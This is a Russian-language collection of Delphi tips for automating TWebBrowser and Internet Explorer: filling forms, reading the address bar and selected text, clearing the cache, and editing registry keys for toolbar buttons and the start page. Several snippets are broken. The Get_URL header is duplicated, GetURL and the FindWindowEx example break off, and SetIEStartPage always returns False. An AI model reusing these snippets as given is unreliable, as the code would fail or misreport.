procedure TForm1.WebBrowserDragOver(Sender, Source: TObject; X,
  Y: Integer; State: TDragState; var Accept: Boolean);
var
  item: Variant;
begin
  //check if document is interactive
  if (Webbrowser.ReadyState and READYSTATE_INTERACTIVE) = 3 then
  begin
    item := WebBrowser.OleObject.Document.elementFromPoint(x, y);
    if Source is TLabel then
      Accept := True;
    Accept := (item.tagname = 'INPUT') and ((item.type = 'text') or
      (item.type = 'password')) or (item.tagname = 'TEXTAREA');
  end;
end;

procedure TForm1.WebBrowserDragDrop(Sender, Source: TObject; X,
  Y: Integer);
var
  item: Variant;
begin
  //check if document is interactive
  if (Webbrowser.ReadyState and READYSTATE_INTERACTIVE) = 3 then
  begin
    item       := WebBrowser.OleObject.Document.elementFromPoint(x, y);
    item.Value := label1.Caption;
  end;
end;
Взято с сайта http://www.swissdelphicenter.ch/en/tipsindex.php


RadioButtons in a TWebbrowser

procedure TForm1.Button1Click(Sender: TObject);
var
  Document: IHTMLDocument2;
  rbTestList: IHTMLElementCollection;
  rbTest: IHTMLOptionButtonElement;
  I: Integer;
begin
  // Get a reference to the document
  Document := WebBrowser1.Document as IHTMLDocument2;

  // Get a reference to input-control (Radiobutton)
  rbTestList := Document.all.item('rating', EmptyParam) as IHTMLElementCollection;

  // Get current values.
  for I := 0 to rbTestList.Length - 1 do
  begin
    // reference to the i. RadioButton
    rbTest := rbTestList.item(I, EmptyParam) as IHTMLOptionButtonElement;

    // Show a message if radiobutton is checked
    if rbTest.Checked then
      ShowMessageFmt('Der RadioButton mit dem Wert %s' +
        ' ist ausgewahlt!', [rbTest.Value]);
  end;

  // Set new values
  for I := 0 to rbTestList.Length - 1 do
  begin
    // reference to the i. RadioButton
    rbTest := rbTestList.item(I, EmptyParam) as IHTMLOptionButtonElement;

    // check radiobutton with value 3.
    if rbTest.Value = '3' then
      rbTest.Checked := True;
  end;
end;
Взято с сайта http://www.swissdelphicenter.ch/en/tipsindex.php


How to add alternative text to a Webbrowser image?

{ Alternative Text for a image of a TWebBrowser }

procedure TForm1.Button1Click(Sender: TObject);
var
  HTMLDocument2Ifc: IHTMLDocument2;
  HTMLSelectionObjectIfc: IHTMLSelectionObject;
  HTMLTxtRangeIfc: IHTMLTxtRange;
begin
  HTMLDocument2Ifc := WebBrowser1.Document as IHTMLDocument2;
  HTMLDocument2Ifc.execCommand('InsertImage', False, '');
  HTMLSelectionObjectIfc := HTMLDocument2Ifc.selection;
  if HTMLSelectionObjectIfc.type_ = 'Control' then HTMLSelectionObjectIfc.Clear;
  HTMLTxtRangeIfc := HTMLSelectionObjectIfc.createRange as IHTMLTxtRange;
  HTMLTxtRangeIfc.pasteHTML('<image alt="Hello" src="c:\test.gif"> ');
end;
Взято с сайта http://www.swissdelphicenter.ch/en/tipsindex.php


Как найти и выделить текст TWebBrowser?

{....}

private
  procedure SearchAndHighlightText(aText: string);

{....}

uses mshtml;

{ .... }

procedure TForm1.SearchAndHighlightText(aText: string);
var
  tr: IHTMLTxtRange; //TextRange Object
begin
  if not WebBrowser1.Busy then
  begin
    tr := ((WebBrowser1.Document as IHTMLDocument2).body as IHTMLBodyElement).createTextRange;
    //Get a body with IHTMLDocument2 Interface and then a TextRang obj. with IHTMLBodyElement Intf.

    while tr.findText(aText, 1, 0) do //while we have result
    begin
      tr.pasteHTML('<span style="background-color: Lime; font-weight: bolder;">' +
        tr.htmlText + '</span>');
      //Set the highlight, now background color will be Lime
      tr.scrollIntoView(True);
      //When IE find a match, we ask to scroll the window... you dont need this...
    end;
  end;
end;

// Example:
procedure TForm1.Button1Click(Sender: TObject);
begin
  SearchAndHighlightText('delphi');
end;
Взято с сайта http://www.swissdelphicenter.ch/en/tipsindex.php


Как получить текст HTML Документа из TWebBrowser без тегов

uses mshtml, activex;

procedure GetHtmlCode(WebBrowser: TWebBrowser; FileName: string);
var
 htmlDoc: IHtmlDocument2;
 PersistFile: IPersistFile;
begin
 htmlDoc := WebBrowser.document as IHtmlDocument2;
 PersistFile := HTMLDoc as IPersistFile;
 PersistFile.save(StringToOleStr(FileName), true);
end;

Взято с http://delphiworld.narod.ru

var
  Document: IHTMLDocument2;
begin
 Document := WB.Document as IHtmlDocument2;
 if Document < >  nil then
   Memo1.Text := (Document.all.Item(NULL, 0) as IHTMLElement).OuterHTML;

Взято с http://delphiworld.narod.ru


Как добавить пункт в контекстное меню IE?

В реестре по адресу:

HKEY_CURRENT_USER
SOFTWARE
Microsoft
Internet Explorer
MenuExt

два параметра, посмотришь на другие-поймешь что они означают.

Автор ответа: Mikel
Взято с Vingrad.ru http://forum.vingrad.ru


Как добавить кнопку в панель инструментов IE?

1. ButtonText = Всплывающая подсказка к кнопке
2. MenuText = Текст, который будет использован для пункта в меню "Сервис"
3. MenuStatusbar = *Ignore*
4. CLSID = Ваш уникальный classID. Для создания нового CLSID (для каждой кнопки) можно использовать GUIDTOSTRING.
5. Default Visible := Показать ей.
6. Exec := Путь к Вашей программе.
7. Hoticon := иконка из shell32.dll когда мышка находится над кнопкой
8. Icon := иконка из shell32.dll

procedure CreateExplorerButton;
const
  TagID = '\{10954C80-4F0F-11d3-B17C-00C0DFE39736}\';
var
  Reg: TRegistry;
   ProgramPath: string;
  RegKeyPath: string;
begin
 ProgramPath := 'c:\folder\exename.exe';
 Reg := TRegistry.Create;
 try
  with Reg do begin
   RootKey := HKEY_LOCAL_MACHINE;
   RegKeyPath := 'Software\Microsoft\Internet Explorer\Extensions';
   OpenKey(RegKeyPath + TagID, True);
   WriteString('ButtonText', 'Your program Button text');
   WriteString('MenuText', 'Your program Menu text');
   WriteString('MenuStatusBar', 'Run Script');
   WriteString('ClSid', '{1FBA04EE-3024-11d2-8F1F-0000F87ABD16}');
   WriteString('Default Visible', 'Yes');
   WriteString('Exec', ProgramPath);
   WriteString('HotIcon', ',4');
   WriteString('Icon', ',4');
  end
 finally
  Reg.CloseKey;
  Reg.Free;
 end;
end;

После выполнения этого кода достаточно просто запустить IE.

Взято из http://forum.sources.ru


Как узнать путь к браузеру по умолчанию?

uses
  Registry;

{....}

procedure TForm1.Button1Click(Sender: TObject);
var
  Reg: TRegistry;
  KeyName: string;
  ValueStr: string;
begin
  Reg := TRegistry.Create;
  try
    Reg.RootKey := HKEY_CLASSES_ROOT;
    KeyName  := 'htmlfile\shell\open\command';
    if Reg.OpenKey(KeyName, False) then
    begin
      ValueStr := Reg.ReadString('');
      Reg.CloseKey;
      Label1.Caption := ValueStr;
    end
    else
      ShowMessage('No Default Webbrowser !');
  finally
    Reg.Free;
  end;
end;
Взято с сайтаhttp://www.swissdelphicenter.ch/en/tipsindex.php


Как взять URL из окна IE?

uses windows, ddeman, ......

function Get_URL(Servicio: string): String;
uses windows, ddeman, ......

function Get_URL(Servicio: string): String;
var
  Cliente_DDE: TDDEClientConv;
  temp:PChar;
begin
   Result := '';
   Cliente_DDE:= TDDEClientConv.Create( nil );
    with Cliente_DDE do
       begin
          SetLink( Servicio,'WWW_GetWindowInfo');
          temp := RequestData('0xFFFFFFFF');
          Result := StrPas(temp);
          StrDispose(temp);  //<<-Предотвращаем утечку памяти
          CloseLink;
       end;
     Cliente_DDE.Free;
end;

procedure TForm1.Button1Click(Sender);
begin
  showmessage(Get_URL('Netscape'));
     или
  showmessage(Get_URL('IExplore'));
end;

Автор: Song

Взято с Vingrad.ru http://forum.vingrad.ru

Пример показывает, как найти окно Internet Explorer, и захватить из него текущий URL, находящийся в поле адреса IE. В Исходнике используются простые функции win32 api на delphi.

function GetText(WindowHandle: hwnd): string;
var
  txtLength: integer;
  buffer: string;
begin
  TxtLength := SendMessage(WindowHandle, WM_GETTEXTLENGTH, 0, 0);
  txtlength := txtlength + 1;
  setlength(buffer, txtlength);
  sendmessage(WindowHandle, wm_gettext, txtlength, longint(@buffer[1]));
  result := buffer;
end;

function GetURL: string;
var
  ie, toolbar, combo,
    comboboxex, edit,
    worker, toolbarwindow: hwnd;
begin
  ie := FindWindow(pchar('IEFrame'), nil);
  worker := FindWindowEx(ie, 0, 'WorkerA', nil);
  toolbar := FindWindowEx(worker, 0, 'rebarwindow32', nil);
  comboboxex := FindWindowEx(toolbar, 0, 'comboboxex32', nil);
  combo := FindWindowEx(comboboxex, 0, 'ComboBox', nil);
  edit := FindWindowEx(combo, 0, 'Edit', nil);
  toolbarwindow := FindWindowEx(comboboxex, 0, 'toolbarwindow32', nil);

  result := GetText(edit);
{-------------------------------------------------------}

procedure TForm1.Button1Click(Sender: TObject);
begin
  showmessage(GetURL);
end;

Взято из http://forum.sources.ru


Как узнать browser по умолчанию?

{
First we create a temporary file and call the
function FindExecutable to get the associated Application.
}

function GetAppName(Doc: string): string;
var
  FN, DN, RES: array[0..255] of char;
begin
  StrPCopy(FN, DOC);
  DN[0]  := #0;
  RES[0] := #0;
  FindExecutable(FN, DN, RES);
  Result := StrPas(RES);
end;

function GetTempFile(const Extension: string): string;
var
  Buffer: array[0..MAX_PATH] of char;
  aFile: string;
begin
  GetTempPath(SizeOf(Buffer) - 1, Buffer);
  GetTempFileName(Buffer, 'TMP', 0, Buffer);
  SetString(aFile, Buffer, StrLen(Buffer));
  Result := ChangeFileExt(aFile, Extension);
end;

procedure TForm1.Button1Click(Sender: TObject);
var
  f: System.Text;
  temp: string;
begin
  // get a unique temporary file name
  // eine eindeutige Temporare Datei bekommen
  temp := GetTempFile('.htm');
  // Create the file
  // Datei erstellen
  AssignFile(f, temp);
  rewrite(f);
  closefile(f);
  // Show the path to the browser
  // Pfad + Programmname zum Browser anzeigen.
  ShowMessage(GetAppName(temp));
  // Finally delete the temporary file
  // Temporaare Datei wieder loschen
  Erase(f);
end;

//Using the Registry:
//************************************************

uses
  Registry;

procedure TForm1.Button1Click(Sender: TObject);
var
  Reg: TRegistry;
  KeyName: string;
  ValueStr: string;
begin
  Reg := TRegistry.Create;
  try
    Reg.RootKey := HKEY_CLASSES_ROOT;
    KeyName     := 'htmlfile\shell\open\command';
    if Reg.OpenKey(KeyName, False) then
    begin
      ValueStr := Reg.ReadString('');
      Reg.CloseKey;
      ShowMessage(ValueStr);
    end
    else
      ShowMessage('There is nоt a default browser');
  finally
    Reg.Free;
  end;
end;

//************************************************
{Copyright (c) by Code Central}

type
  TBrowserInformation = record
    Name: string;
    Path: string;
    Version: string;
  end;

function LongPathName(ShortPathName: string): string;
var
  PIDL: PItemIDList;
  Desktop: IShellFolder;
  WidePathName: WideString;
  AnsiPathName: AnsiString;
begin
  Result := ShortPathName;
  if Succeeded(SHGetDesktopFolder(Desktop)) then
  begin
    WidePathName := ShortPathName;
    if Succeeded(Desktop.ParseDisplayName(0, nil, PWideChar(WidePathName),
      ULONG(nil^), PIDL, ULONG(nil^))) then

      try
        SetLength(AnsiPathName, MAX_PATH);
        SHGetPathFromIDList(PIDL, PChar(AnsiPathName));
        Result := PChar(AnsiPathName);

      finally
        CoTaskMemFree(PIDL);
      end;
  end;
end;

function GetDefaultBrowser: TBrowserInformation;
var
  tmp: PChar;
  res: LPTSTR;
  Version: Pointer;
  VersionInformation: Pointer;
  VersionInformationSize: Integer;
  Dummy: DWORD;
begin
  tmp := StrAlloc(255);
  res := StrAlloc(255);
  Version := nil;
  try
    GetTempPath(255, tmp);
    if FileCreate(tmp + 'htmpl.htm') <> -1 then
    begin
      if FindExecutable('htmpl.htm', tmp, res) > 32 then
      begin
        Result.Name := ExtractFileName(res);
        Result.Path := LongPathName(ExtractFilePath(res));
        // Try to determine the Browser Version
        VersionInformationSize := GetFileVersionInfoSize(Res, Dummy);
        if VersionInformationSize > 0 then
        begin
          GetMem(VersionInformation, VersionInformationSize);
          GetFileVersionInfo(Res, 0, VersionInformationSize, VersionInformation);
          VerQueryValue(VersionInformation, ('StringFileInfo040904E4ProductVersion'),
            Pointer(Version), Dummy);
          if Version <> nil then
            Result.Version := PChar(Version);
          FreeMem(VersionInformation);
        end;
      end
      else
        ShowMessage('Cannot determine the executable.');
      SysUtils.DeleteFile(tmp + 'htmpl.htm');
    end
    else
      ShowMessage('Cannot create temporary file.');
  finally
    StrDispose(tmp);
    StrDispose(res);
  end;
end;
Взято с сайта http://www.swissdelphicenter.ch/en/tipsindex.php


Как очистить кэш в IE?

В примере описывается как программно в Internet Explorer нажать кнопку "Clear cache".

Вам нужно будет использовать WinINet в Вашей TfrmMain:

Uses WinINet;

и добавить к TButton следующий обработчик btnEmptyCache:

Procedure TfrmMain.btnEmptyCacheClick( Sender : TObject );
Var
    lpEntryInfo : PInternetCacheEntryInfo;
    hCacheDir   : LongWord;
    dwEntrySize : LongWord;
    dwLastError : LongWord;
Begin
    dwEntrySize := 0;
    FindFirstUrlCacheEntry( NIL, TInternetCacheEntryInfo( NIL^ ), dwEntrySize );
    GetMem( lpEntryInfo, dwEntrySize );
    hCacheDir := FindFirstUrlCacheEntry( NIL, lpEntryInfo^, dwEntrySize );
    If ( hCacheDir <> 0 ) Then
        DeleteUrlCacheEntry( lpEntryInfo^.lpszSourceUrlName );
    FreeMem( lpEntryInfo );
    Repeat
        dwEntrySize := 0;
        FindNextUrlCacheEntry( hCacheDir, TInternetCacheEntryInfo( NIL^ ), dwEntrySize );
        dwLastError := GetLastError();
        If ( GetLastError = ERROR_INSUFFICIENT_BUFFER ) Then Begin
            GetMem( lpEntryInfo, dwEntrySize );
            If ( FindNextUrlCacheEntry( hCacheDir, lpEntryInfo^, dwEntrySize ) ) Then
                DeleteUrlCacheEntry( lpEntryInfo^.lpszSourceUrlName );
            FreeMem(lpEntryInfo);
        End;
    Until ( dwLastError = ERROR_NO_MORE_ITEMS );
End;

Взято из http://forum.sources.ru


Как добавить Cookies?

Пример демонстрирует создание cookie посредствам стандартного компонента Delphi

procedure TwebDispatcher.WebAction(Sender: TObject; Request: TWebRequest;
  Response: TWebResponse; var Handled: Boolean);
begin
    with (Response.Cookies.Add) do begin
      Name := 'TESTNAME';
      Value := 'TESTVALUE';
      Secure := False;
      Expires := Now;
      Response.Cookies.WebResponse.SendResponse;
    end;
end;
Взято из http://forum.sources.ru


Как получить активный URL из браузера?

Автор: Ruslan Abu Zant

Приводимая здесь функция показывает, как Ваше приложение может извлечь из браузера (IE или Netscape) URL , как, например, это делает аська.

Совместимость: Delphi 4.x (или выше)
Не забудьте добавить DDEMan в Ваш проект!

uses windows, ddeman, ......

function Get_URL(Servicio: string): String;
var
   Cliente_DDE: TDDEClientConv;
   temp:PChar;      //<<-------------------------This is new
begin
    Result := '';
    Cliente_DDE:= TDDEClientConv.Create( nil );
     with Cliente_DDE do
        begin
           SetLink( Servicio,'WWW_GetWindowInfo');
           temp := RequestData('0xFFFFFFFF');
           Result := StrPas(temp);
           StrDispose(temp);  //<<-Предотвращаем утечку памяти
           CloseLink;
        end;
      Cliente_DDE.Free;
end;

procedure TForm1.Button1Click(Sender);
begin
   showmessage(Get_URL('Netscape'));
      или
   showmessage(Get_URL('IExplore'));
end;

Взято из http://forum.sources.ru


Как открыть HTML-файл в стандартном браузере?

//-------------------------------------------------------------
// HTMLView - пример, показывающий, как открыть HTM/HTML файл в браузере,
// установленном поумолчанию.
// Пример использует Win32API функцию ShellExecute с параметром 'open',
// которая заставляет систему найти в реестре приложение, связанное
// с расширением HTM/HTML.
//-------------------------------------------------------------
unit HTMLUnit;
interface
uses
  Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
  StdCtrls, ShellAPI;
type
  TForm1 = class(TForm)
    OpenDialog1: TOpenDialog;
    Button1: TButton;
    Button2: TButton;
    Label1: TLabel;
    procedure Button1Click(Sender: TObject);
    procedure Button2Click(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end;
var
  Form1    : TForm1;
  HTMLFile : Array[0..79] of Char;
implementation
{$R *.DFM}
procedure TForm1.Button1Click(Sender: TObject);
begin
If OpenDialog1.Execute then
   begin
// получаем имя выбранного файла
    StrPCopy(HTMLFile, OpenDialog1.FileName);
// разрешаем пользователю открывать (т.е. просматривать) его в браузере
    Button2.Enabled := True;
   end;
end;
procedure TForm1.Button2Click(Sender: TObject);
begin
// запускаем функцию ShellExecute с параметром 'open'
ShellExecute(Handle, 'open', HTMLFile, nil, nil, SW_SHOWNORMAL);
end;
end.
Взято из http://forum.sources.ru


Как прочитать выделенный текст из IE?

uses
  SHDocVw_TLB; // http://www.euromind.com/iedelphi if don't have that unit

function GetSelectedIEtext: string;
var
  x: Integer;
  Sw: IShellWindows;
  IE: HWND;
begin
  IE := FindWindow('IEFrame', nil);
  sw := CoShellWindows.Create;
  for x := SW.Count - 1 downto 0 do
    if (Sw.Item(x) as IWebbrowser2).hwnd = IE then begin
      Result := variant(Sw.Item(x)).Document.Selection.createRange.Text;
      break;
    end;
end;
Взято с сайта http://www.swissdelphicenter.ch/en/tipsindex.php


Как получить handle на editbox в Internet Explorer?

var
  hndl: HWND;
  main: HWND;
begin
  main := FindWindow('IEFrame', nil);

  if main <> 0 then
  begin
    hndl := findwindowex(main, 0, 'Worker', nil);

    if hndl <> 0 then
    begin
      hndl := findwindowex(hndl, 0, 'ReBarWindow32', nil);

      if hndl <> 0 then
      begin
        hndl := findwindowex(hndl, 0, 'ComboBoxEx32', nil);

        if hndl <> 0 then
        begin
          hndl := findwindowex(hndl, 0, 'ComboBox', nil);

          if hndl <> 0 then
          begin
            hndl := findwindowex(hndl, 0, 'Edit', nil);

unit Unit1;

interface

uses
  Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs, StdCtrls;

type
  TForm1 = class(TForm)
    Label1: TLabel;
    Button1: TButton;
    procedure Button1Click(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
    procedure FindIEEditHandle;
  end;

var
  Form1: TForm1;
  EditHandle: THandle;

implementation

{$R *.DFM}

function EnumIEChildProc(AHandle: hWnd; AnObject: TObject): BOOL; stdcall;
var
  tmpS: string;
  theClassName: string;
  theWinText: string;
begin
  Result := True;
  SetLength(theClassName, 256);
  GetClassName(AHandle, PChar(theClassName), 255);
  SetLength(theWinText, 256);
  GetWindowText(AHandle, PChar(theWinText), 255);
  tmpS := StrPas(PChar(theClassName));
  if theWinText <> EmptyStr then
    tmpS := tmpS + '"' + StrPas(PChar(theWinText)) + '"'
  else
    tmpS := tmpS + '""';
  if Pos('Edit', tmpS) > 0 then
  begin
    EditHandle := AHandle;
  end;
end;

function IEWindowEnumProc(AHandle: hWnd; AnObject: TObject): BOOL; stdcall;
{callback for EnumWindows.}
var
  theClassName: string;
  theWinText: string;
  tmpS: string;
begin
  Result := True;
  SetLength(theClassName, 256);
  GetClassName(AHandle, PChar(theClassName), 255);
  SetLength(theWinText, 256);
  GetWindowText(AHandle, PChar(theWinText), 255);
  tmpS := StrPas(PChar(theClassName));
  if theWinText <> EmptyStr then
    tmpS := tmpS + '"' + StrPas(PChar(theWinText)) + '"'
  else
    tmpS := tmpS + '""';
  if Pos('IEFrame', tmpS) > 0 then
  begin
    EnumChildWindows(AHandle, @EnumIEChildProc, longInt(0));
  end;
end;

procedure TForm1.FindIEEditHandle;
begin
  Screen.Cursor := crHourGlass;
  try
    EnumWindows(@IEWindowEnumProc, LongInt(0));
  finally
    Screen.Cursor := crDefault;
  end;
end;

procedure TForm1.Button1Click(Sender: TObject);
begin
  FindIEEditHandle;
  if EditHandle > 0 then
    Label1.Caption := IntToStr(EditHandle)
  else
    label1.Caption := 'Not Found';
end;

end.
Взято с Delphi Knowledge Base: http://www.baltsoft.com/


Как определить установлен ли Internet Explorer?

uses
  registry;

function IE_installed(var Version: string): Boolean;
var
  Reg: TRegistry;
begin
  Reg := TRegistry.Create;
  with Reg do
  begin
    RootKey := HKEY_LOCAL_MACHINE;
    OpenKey('Software\Microsoft\Internet Explorer', False);
    if ValueExists('Version') then
      Version := ReadString('Version')
    else
      Version := '';
    CloseKey;
    Free;
  end;
  Result := Version <> '';
end;

procedure TForm1.Button1Click(Sender: TObject);
var
  IE_Version: string;
begin
  if IE_Installed(IE_Version) then
    ShowMessage(Format('Internet Explorer %s installed.', [IE_Version]));
end;
Взято с сайтаhttp://www.swissdelphicenter.ch/en/tipsindex.php


Как прочитать/изменить startpage IE?

uses
  {...,}Registry;

function GetIEStartPage: string;
var
  Reg: TRegistry;
begin
  Reg := TRegistry.Create;
  try
    Reg.RootKey := HKEY_CURRENT_USER;
    Reg.OpenKey('Software\Microsoft\Internet Explorer\Main', False);
    try
      Result := Reg.ReadString('Start Page');
    except
      Result := '';
    end;
    Reg.CloseKey;
  finally
    Reg.Free;
  end;
end;

function SetIEStartPage(APage: string): Boolean;
var
  Reg: TRegistry;
begin
  Reg := TRegistry.Create;
  try
    Reg.RootKey := HKEY_CURRENT_USER;
    Reg.OpenKey('Software\Microsoft\Internet Explorer\Main', False);
    try
      Reg.WriteString('Start Page', APage);
      Result := True;
    finally
      Reg.CloseKey;
      Result := False;
    end;
  finally
    Reg.Free;
  end;
end;

// Show the Startpage
procedure TForm1.Button1Click(Sender: TObject);
begin
  ShowMessage(GetIEStartPage);
end;

// Set the Startpage
procedure TForm1.Button2Click(Sender: TObject);
begin
  SetIEStartPage('http://forum.vingrad.ru');
end;
Взято с сайтаhttp://www.swissdelphicenter.ch/en/tipsindex.php


Как автоматически заполнить поля формы в IE?

{
  This example shows how to automatically fill in a search string
  in the "Search Tip" page and click the search button.
}

uses
  MSHTML_TLB;

// first navigate to tipspage

procedure TForm1.Button1Click(Sender: TObject);
begin
  Webbrowser1.Navigate('http://www.swissdelphicenter.ch/en/tipsuchen.php');
end;

// Try to access IE instance and fill out the search field with
// a text and click the search button

procedure TForm1.Button3Click(Sender: TObject);
var
  hIE: HWND;
  ShellWindow: IShellWindows;
  WB: IWebbrowser2;
  spDisp: IDispatch;
  IDoc1: IHTMLDocument2;
  Document: Variant;
  k, m: Integer;
  ovElements: OleVariant;
  i: Integer;
begin
  ShellWindow := CoShellWindows.Create;
  // get the running instance of Internet Explorer
  for k := 0 to ShellWindow.Count do
  begin
    spDisp := ShellWindow.Item(k);
    if spDisp = nil then Continue;
    // QueryInterface determines if an interface can be used with an object
    spDisp.QueryInterface(iWebBrowser2, WB);

    if WB <> nil then
    begin
      WB.Document.QueryInterface(IHTMLDocument2, iDoc1);
      if iDoc1 <> nil then
      begin
        WB := ShellWindow.Item(k) as IWebbrowser2;
        begin
          Document := WB.Document;

          // count forms on document and iterate through its forms
          for m := 0 to Document.forms.Length - 1 do
          begin
            ovElements := Document.forms.Item(m).elements;
            // iterate through elements
            for i := 0 to ovElements.Length - 1 do
            begin
              // when input fieldname is found, try to fill out
              try
                if (CompareText(ovElements.item(i).tagName, 'INPUT') = 0) and
                  (CompareText(ovElements.item(i).type, 'text') = 0) then
                begin
                  ovElements.item(i).Value := 'FindWindow';
                end;
              except
              end;
              // when Submit button is found, try to click
              try
                if (CompareText(ovElements.item(i).tagName, 'INPUT') = 0) and
                  (CompareText(ovElements.item(i).type, 'SUBMIT') = 0) and
                  (ovElements.item(i).Value = 'Search') then  // Suchen fьr German
                begin
                  ovElements.item(i).Click;
                end;
              except
              end;
            end;
          end;
        end;
      end;
    end;
  end;
end;
Взято с сайта http://www.swissdelphicenter.ch/en/tipsindex.php


Как узнать версию Internet Explorer?

uses
  Registry;

function GetIEVersion(Key: string): string;
var
  Reg: TRegistry;
begin
  Reg := TRegistry.Create;
  try
    Reg.RootKey := HKEY_LOCAL_MACHINE;
    Reg.OpenKey('Software\Microsoft\Internet Explorer', False);
    try
      Result := Reg.ReadString(Key);
    except
      Result := '';
    end;
    Reg.CloseKey;
  finally
    Reg.Free;
  end;
end;

procedure TForm1.Button1Click(Sender: TObject);
begin
  ShowMessage('IE-Version: ' + GetIEVersion('Version')[1] + '.' + GetIEVersion('Version')[3]);
  ShowMessage('IE-Version: ' + GetIEVersion('Version'));
  // <major version>.<minor version>.<build number>.<sub-build number>
end;
Взято с сайтаhttp://www.swissdelphicenter.ch/en/tipsindex.php


Перехват сообщений IE

{
This component allows you to intercept Internet Explorer messages such as
"StatusTextChangeEvent", "DocumentCompleteEvent" and so on.

}

//---- Component Source: Install this component first.

unit IEEvents;

interface

uses
  Windows, SysUtils, Classes, Graphics, ComObj, ActiveX, SHDocVW;

type
  // Event types exposed from the Internet Explorer interface
  TIEStatusTextChangeEvent = procedure(Sender: TObject; const Text: WideString) of object;
  TIEProgressChangeEvent = procedure(Sender: TObject; Progress: Integer; ProgressMax: Integer) of object;
  TIECommandStateChangeEvent = procedure(Sender: TObject; Command: Integer; Enable: WordBool) of object;
  TIEDownloadBeginEvent = procedure(Sender: TObject) of object;
  TIEDownloadCompleteEvent = procedure(Sender: TObject) of object;
  TIETitleChangeEvent = procedure(Sender: TObject; const Text: WideString) of object;
  TIEPropertyChangeEvent = procedure(Sender: TObject; const szProperty: WideString) of object;
  TIEBeforeNavigate2Event = procedure(Sender: TObject; const pDisp: IDispatch;
    var URL: OleVariant; var Flags: OleVariant; var TargetFrameName: OleVariant;
    var PostData: OleVariant; var Headers: OleVariant; var Cancel: WordBool) of object;
  TIENewWindow2Event = procedure(Sender: TObject; var ppDisp: IDispatch; var Cancel: WordBool) of object;
  TIENavigateComplete2Event = procedure(Sender: TObject; const pDisp: IDispatch; var URL: OleVariant) of object;
  TIEDocumentCompleteEvent = procedure(Sender: TObject; const pDisp: IDispatch; var URL: OleVariant) of object;
  TIEOnQuitEvent = procedure(Sender: TObject) of object;
  TIEOnVisibleEvent = procedure(Sender: TObject; Visible: WordBool) of object;
  TIEOnToolBarEvent = procedure(Sender: TObject; ToolBar: WordBool) of object;
  TIEOnMenuBarEvent = procedure(Sender: TObject; MenuBar: WordBool) of object;
  TIEOnStatusBarEvent = procedure(Sender: TObject; StatusBar: WordBool) of object;
  TIEOnFullScreenEvent = procedure(Sender: TObject; FullScreen: WordBool) of object;
  TIEOnTheaterModeEvent = procedure(Sender: TObject; TheaterMode: WordBool) of object;

  // Event component for Internet Explorer
  TIEEvents = class(TComponent, IUnknown, IDispatch)
  private
     // Private declarations
    FConnected: Boolean;
    FCookie: Integer;
    FCP: IConnectionPoint;
    FSinkIID: TGuid;
    FSource: IWebBrowser2;
    FStatusTextChange: TIEStatusTextChangeEvent;
    FProgressChange: TIEProgressChangeEvent;
    FCommandStateChange: TIECommandStateChangeEvent;
    FDownloadBegin: TIEDownloadBeginEvent;
    FDownloadComplete: TIEDownloadCompleteEvent;
    FTitleChange: TIETitleChangeEvent;
    FPropertyChange: TIEPropertyChangeEvent;
    FBeforeNavigate2: TIEBeforeNavigate2Event;
    FNewWindow2: TIENewWindow2Event;
    FNavigateComplete2: TIENavigateComplete2Event;
    FDocumentComplete: TIEDocumentCompleteEvent;
    FOnQuit: TIEOnQuitEvent;
    FOnVisible: TIEOnVisibleEvent;
    FOnToolBar: TIEOnToolBarEvent;
    FOnMenuBar: TIEOnMenuBarEvent;
    FOnStatusBar: TIEOnStatusBarEvent;
    FOnFullScreen: TIEOnFullScreenEvent;
    FOnTheaterMode: TIEOnTheaterModeEvent;
  protected
     // Protected declaratios for IUnknown
    function QueryInterface(const IID: TGUID; out Obj): HResult; override;
    function _AddRef: Integer; stdcall;
    function _Release: Integer; stdcall;
     // Protected declaratios for IDispatch
    function GetIDsOfNames(const IID: TGUID; Names: Pointer; NameCount, LocaleID:
      Integer; DispIDs: Pointer): HResult; virtual; stdcall;
    function GetTypeInfo(Index, LocaleID: Integer; out TypeInfo): HResult; virtual; stdcall;
    function GetTypeInfoCount(out Count: Integer): HResult; virtual; stdcall;
    function Invoke(DispID: Integer; const IID: TGUID; LocaleID: Integer;
      Flags: Word; var Params; VarResult, ExcepInfo, ArgErr: Pointer): HResult; virtual; stdcall;
     // Protected declarations
    procedure DoStatusTextChange(const Text: WideString); safecall;
    procedure DoProgressChange(Progress: Integer; ProgressMax: Integer); safecall;
    procedure DoCommandStateChange(Command: Integer; Enable: WordBool); safecall;
    procedure DoDownloadBegin; safecall;
    procedure DoDownloadComplete; safecall;
    procedure DoTitleChange(const Text: WideString); safecall;
    procedure DoPropertyChange(const szProperty: WideString); safecall;
    procedure DoBeforeNavigate2(const pDisp: IDispatch; var URL: OleVariant;
      var Flags: OleVariant; var TargetFrameName: OleVariant; var PostData: OleVariant;
      var Headers: OleVariant; var Cancel: WordBool); safecall;
    procedure DoNewWindow2(var ppDisp: IDispatch; var Cancel: WordBool); safecall;
    procedure DoNavigateComplete2(const pDisp: IDispatch; var URL: OleVariant); safecall;
    procedure DoDocumentComplete(const pDisp: IDispatch; var URL: OleVariant); safecall;
    procedure DoOnQuit; safecall;
    procedure DoOnVisible(Visible: WordBool); safecall;
    procedure DoOnToolBar(ToolBar: WordBool); safecall;
    procedure DoOnMenuBar(MenuBar: WordBool); safecall;
    procedure DoOnStatusBar(StatusBar: WordBool); safecall;
    procedure DoOnFullScreen(FullScreen: WordBool); safecall;
    procedure DoOnTheaterMode(TheaterMode: WordBool); safecall;
  public
     // Public declarations
    constructor Create(AOwner: TComponent); override;
    destructor Destroy; override;
    procedure ConnectTo(Source: IWebBrowser2);
    procedure Disconnect;
    property SinkIID: TGuid read FSinkIID;
    property Source: IWebBrowser2 read FSource;
  published
     // Published declarations
    property WebObj: IWebBrowser2 read FSource;
    property Connected: Boolean read FConnected;
    property StatusTextChange: TIEStatusTextChangeEvent read FStatusTextChange write FStatusTextChange;
    property ProgressChange: TIEProgressChangeEvent read FProgressChange write FProgressChange;
    property CommandStateChange: TIECommandStateChangeEvent read FCommandStateChange write FCommandStateChange;
    property DownloadBegin: TIEDownloadBeginEvent read FDownloadBegin write FDownloadBegin;
    property DownloadComplete: TIEDownloadCompleteEvent read FDownloadComplete write FDownloadComplete;
    property TitleChange: TIETitleChangeEvent read FTitleChange write FTitleChange;
    property PropertyChange: TIEPropertyChangeEvent read FPropertyChange write FPropertyChange;
